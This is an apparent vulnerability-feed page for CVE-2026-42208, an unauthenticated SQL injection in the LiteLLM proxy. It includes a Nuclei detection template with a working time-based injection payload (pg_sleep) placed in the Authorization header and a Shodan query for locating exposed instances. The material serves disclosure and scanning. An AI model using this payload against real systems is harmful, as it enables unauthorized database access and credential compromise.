CVE-2026-42208: LiteLLM - SQL Injection

2026-06-17 LiteLLM PoC Public

Description

LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.

PoC

id: CVE-2026-42208

info:
  name: LiteLLM - SQL Injection
  author: HAERIN-L
  severity: critical
  description: |
    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.
  impact: |
    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.
  remediation: |
    Upgrade to version 1.83.7 or later.
  reference:
    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42208
    epss-score: 0.8942
    epss-percentile: 0.99775
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: BerriAI
    product: LiteLLM
    shodan-query: http.title:"LiteLLM"
  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ui/login/? HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer invalid_token_baseline_test

        {}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "litellm-asset-prefix")'
          - 'contains(content_type_2, "application/json")'
          - 'status_code_2 == 401'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'duration >= 8'
        condition: and
# digest: 4b0a004830460221008aa1fd84faa2f655455dfa3117ae5158dd4b65dedddefde976681da26836f427022100d45dae600a158a7c20a472df80548b517038ff6e616c458bd6dffce253d100f7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities